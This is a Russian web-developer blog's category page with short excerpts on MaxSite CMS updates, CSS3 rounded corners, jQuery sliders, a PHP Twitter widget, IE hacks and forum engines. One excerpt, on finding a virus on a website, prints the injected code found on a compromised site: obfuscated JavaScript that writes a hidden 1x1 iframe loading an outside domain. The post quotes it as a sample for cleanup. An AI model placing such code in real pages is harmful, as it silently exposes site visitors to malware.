Web-мастеринг

Подписаться на эту рубрику по RSS

Обновление MaxSite CMS и проблема с jQuery

Июнь, 06th 2011

Решил наконец-то обновить движок блога на MaxSite CMS до версии 0.51 (последняя на данный момент). В принципе, меня вполне устраивала и довольно старенькая версия - 0.41, но вот появилось свободное время и руки нужно было чем-то занять.

Само обновление прошло гладко - заменил движок, как описывалось в инструкции, предварительно правда сделал полную резервную копию, на случай если что-то пойдет не так.

Блог успешно запустился на обновленном движке и с виду всё вроде-бы осталось как и было... при более внимательном рассмотрении, оказалось, что в разделе портфолио не работает карусель jQuery, да и ещё на отдельных страничках слезли украшательства jQuery.

Всё дело в том, что в новой версии MaxSite CMS используется библиотека jQuery 1.6, а она не совместима с прежней, которая использовалась jquery-1.4.2. Для быстрого решения было решено вернуть предыдущую библиотеку.

Переходим к файлу: /application/maxsite/common/common.php

В нем находим необходимую строку, содержащую путь к библиотеке jQuery и исправляем имя файла на старую версию. В моем случае jquery-1.4.2.min.js.

Скругление углов CSS3

Февраль, 08th 2011

Сегодня хочу рассказать о таком свойстве CSS3, как border-radius, позволяющее создать закругленную границу вокруг прямоугольного блока.

Backgrounds and Borders module на данный момент всё ещё остается черновым документом W3C, поэтому при именовании свойства border-radius браузеры используют вендорные префиксы:

  • -moz- используется в браузерах на основе движка Gecko (Firefox и SeaMonkey)
  • -webkit- в браузерах на основе одноименного движка (Safari и Chrome)

Браузер Opera обходится без вендорного префикса, ну а IE, оправдывая своё народное название "осла", вовсе не поддерживает данного свойства.

Скругление углов средствами CSS3. В данном примере не используется JS или картинки.

читать полностью →

Лучшие слайдеры (слайдшоу) на jQuery

Январь, 23rd 2011

Современный сайт без фреймворков jQuery или MooTools уже сложно представить. В новом проекте сайта-визитки для одной строительной компании решил использовать слайдер на jQuery.

Писать слайдер самостоятельно для бюджетного сайта удовольствие сомнительное, сродни изобретению велосипеда, тем более в сети есть множество готовых свободных решений данной задачи, причем сделанных профессионально и очень качественно. Цель статьи - написать о наиболее понравившихся слайдерах, написанных на jQuery. На мой взгляд, по настоящему достойных плагинов оказалось не много. Основные требования, кроме естественно красоты, малый размер, скорость работы и совместимость с наиболее популярными браузерами, включая IE6.

Описания установки можно найти на официальных сайтах плагинов, если возникнут затруднения, то в одной из следующих статей постараюсь рассказать на примере как и что нужно делать. Итак, знакомьтесь:

s3Slider jQuery plugin

| демо

s3Slider jQuery plugin

Плагин подходит для создания небольших слайдшоу с комментариями, причем легко интегрируется в проект. Выглядит довольно симпатично, хоть и используется единственный эффект смены изображений. Впрочем, лучше один раз увидеть что можно получить, так что смотрите демо.

читать полностью →

Как найти вирус на сайте

Декабрь, 25th 2010

Вирусный код с сайта:

<script language=JavaScript>
jhtm='%3Ciframe%20src%3D%22http%3A//inanalitics.in/inc/top/iframe.php%22
%20width%3D1%20height%3D1%20style%3D%22visibility%3A%20hidden%22%3E%3C
/iframe%3E';crypo=unescape(jhtm);document.write(crypo);
</script>

Не так давно меня попросили разобраться с одним сайтом. Яндекс пометил его как распростаняющий вирусы, о чем выдавал информацию сразу после ссылки на сайт, да и антивирусы, способные фильтровать интернет-трафик, также ругаются на такие сайты.

Действительно, вирусы, написанные для сайтов, набирают популярность. Но надо понимать, что большинстве случаев, сам вирус находится на компьютере, имеющем ftp доступ к сайту. Принцип действия примерно следующий - вирус незаметно для пользователя крадёт пароли от ftp, подключается и вставляет в скрипты сайта паразитный код.

читать полностью →

Переехал с WordPress на MaxSite CMS

Декабрь, 12th 2010

WordPress с каждой новой версией становится всё больше, неповоротивее и требовательнее к ресурсам. Мысль переезда на другую CMS уже давно засела в мозгу, но её реализация откладывалась в долгий ящик по могим причинам - необходимость безболезненного и полного переноса существующей базы, нехватка свободного времени, выбор альтернативного движка и т.д.

В конечном итоге осталось 2 кандидата на звание нового движка - Textpattern и MaxSite CMS.

Честно скажу Textpattern меня больше привлекает как дизайнера, т.к. дает практически неограниченные возможности для творчества, но сильно печалит факт танцев с бубном при переносе имеющейся базы с WordPress, крайне вялое русскоязычное сообщество (если не сказать, что его почти нет), изначально сложное понимание работы движка также не вселило оптимизма.

Попрыгав недельку с Textpattern-ом, решил отложить его до лучших времен. В любом случае нужен простой и понятный инструмен в повседневной работе. И тут с лучшей стороны мне открылся MaxSite CMS. В течение недели была перенесена база и на скорую руку написан шаблон. В скором времени это исправится. Дизайн пока сыроват, и это ещё мягко сказано, но желание поскорее запустить блог на новом движке пересилило.

Хотелось бы ещё сказать, что за время переезда накопилось довольно таки много тем для предстоящих постов. Так что, полагаю, будет интересно.

Движок для сайта-визитки Kandidat CMS

Август, 20th 2010

kandidat cms

Всякий раз, работая над новым проектом, мучаюсь выбором как его лучше реализовать - использовать готовую CMS или писать свою под конкретную задачу, а может вообще обойтись php инклудами. Всегда хочется чего-то легкого, шустрого, бесплатного и простого в управлении.

Сколько всяких CMS пришлось опробовать, прежде чем нашел удовлетворяющую меня... Основные требования к кандидатам были такими:

  • CMS должна быть бесплатной и легкой
  • Обязательное наличие Wisiwig редактора для редактирования страниц (заказчики в основном вообще не имеют представления о HTML, а уж тем более CSS и тому подобном)
  • Генерация ЧПУ для страниц сайта
  • Простая загрузка изображений, файлов на сайт с последующей вставкой в материал
  • Встроенная галерея или возможность без труда её установить, желательно в litebox эффектами
  • Легкая адаптация шаблонов под CMS
читать полностью →

Установка галереи fancybox на Kandidat CMS

Август, 20th 2010

Скачать fancybox для Kandidat CMS v.1.4.1 (72,3 Kb)

в архив включен jQuery JavaScript Library v1.4.2

1. Скачиваем сборку Kandidat CMS 1.4.1 + Photo. Конечно можно установить саму CMS и модуль галереи Photo по отдельности.

2. Копируем папки /fancybox/ и /mycode/ в корень сайта. В каталоге /mycode/ будет заменен всего один файл photo.php

3. Перед закрытием тега /head в вашем шаблоне вставляем код, приведенный ниже:



Показываем твиты в любой теме WordPress

Июль, 23rd 2010

Появилось время заняться блогом. А за окном по-прежнему неимоверная июльская жара. Написание полновесных статей в блог решил отложить до лучших времен и переключил внимание на микроблоггинг - twitter.

Зарегистрировался, написал пару твитов... чувство неудовлетворенности осталось. Душа требовала чего-то большего, для начала чтобы новые твиты отображались в блоге.

Сказано - сделано. Путь наименьшего сопротивления, а именно поиск подходящих плагинов не дал удовлетворительных результатов. Вернее нашелся очень симпатичный плагин Latest Twitter Sidebar Widget, вот только у меня он отказался работать, выдав ошибку:

Fatal error: Call to undefined function domxml_open_file()...

В итоге полазив в сети нашел вот такой код:

<ul>
<?php
$feedURL = "http://twitter.com/statuses/user_timeline/169808866.rss"; // измените на ваш RSS из twitter
$doc = new DOMDocument();
$doc->load($feedURL);
$arrFeeds = array();
foreach ($doc->getElementsByTagName('item') as $node) {
    $itemRSS = array ( 
        'title' => $node->getElementsByTagName('title')->item(0)->nodeValue,
        );
    array_push($arrFeeds, $itemRSS);
}
$limit = 1; // количество сообщений для вывода.
for($x=0;$x<$limit;$x++) {
    $title = str_replace('_mdex_: ', '', $arrFeeds[$x]['title']); // замените _mdex_ на ваш логин в твиттере.
    $str = ereg_replace("[[:alpha:]]+://[^<>[:space:]]+[[:alnum:]/]","<a href=\"\\0\">\\0</a>", $title); 
    $pattern = '/[#|@][^\s]*/';
    preg_match_all($pattern, $str, $matches);	
 
    foreach($matches[0] as $keyword) {
        $keyword = str_replace(")","",$keyword);
        $link = str_replace("#","%23",$keyword);
        $link = str_replace("@","",$keyword);
        if(strstr($keyword,"@")) {
            $search = "<a href=\"http://twitter.com/$link\">$keyword</a>";
        } else {
            $link = urlencode($link);
            $search = "<a href=\"http://twitter.com/#search?q=$link\" class=\"grey\">$keyword</a>";
        }
        $str = str_replace($keyword, $search, $str);
    }
    echo '<li>'.$str.'</li>';
}
?>
</ul>

У себя я разместил его в sidebar.php, быстренько добавил простое оформление в CSS, какое подсказал перегретый мозг. Результат можете наблюдать в этом блоге. Получилось довольно легкое и универсальное решение.

Если возникли какие-либо вопросы, пишите в комментариях и не забывайте подписаться на мой твиттер.

хаки для IE

Апрель, 21st 2010

Как же надоел этот глючный IE - говорю как web-разработчик, постоянно сталкивающийся с кривизной данного браузера. Более того, один и тот же код не одинаково воспринимается версиями 6, 7 и 8 осла. Из-за этого приходится заново верстать некоторые элементы страниц постоянно искать обходные пути. Но нельзя его со счетов сбрасывать, т.к. основная масса пользователей упорно сидит на IE - откуда такая любовь к этому убожеству не ясно...

Делать нечего - будем бороться с его некорректной работой. Описываемы тут методы - это конечно не правильно с точки зрения валидности CSS кода, но иногда без этих методов просто не обойтись. Итак, рассмотрим как написать свойства css, работающие только в IE (хаки для ie6 и ie7).

Решение проблемы

К счастью, можно написать отдельные стили, которые будут работать только в IE. Причем я предлагаю вариант как для шестой, так и для седьмой версий. Например, если поставить перед свойством две наклонные черты( // ), оно будет восприниматься лишь браузером интернет эксплорер всех версий. Другие браузеры такое свойство проигнорируют.

читать полностью →

Популярные движки для форумов

Декабрь, 23rd 2009

И так, решил я тут создать форум автомобильной тематики, в результате чего последние две недели прошли в сравнении возможностей, удобства использования и администрирования разнообразных движков. Конкретного сравнения форумных движков в сети к сожалению не нашел, а ведь их сейчас такое количество, что определиться очень не просто!!! Вот и решил, что лучше попробовать самому наиболее популярные из них и то, что понравится использовать. Не последнюю роль в выборе имела лицензия, по которой распространяется код движка форума.

По идеологическим соображениям отмел коммерческие, среди которых наиболее известны и популярны IPB (Invision Power Board) и vBulletin. Так что про них здесь ничего сказать не смогу – не использовал, хотя с пользовательской точки зрения, говорят очень и очень не плохие. Так что, если есть деньги и не жалко их потратить на форум – думаю, к ним стоит присмотреться.

Я не ставил себе целью провести тотальное сравнение функций движков, поэтому дам лишь небольшое описание каждому из движков, основываясь на собственном опыте. Представляю претендентов на роль движка для форума (где-то на заднем планы в этот момент должны звучать фанфары): miniBB, phpBB 2, phpBB 3, punBB, SMF и Vanilla.

читать полностью →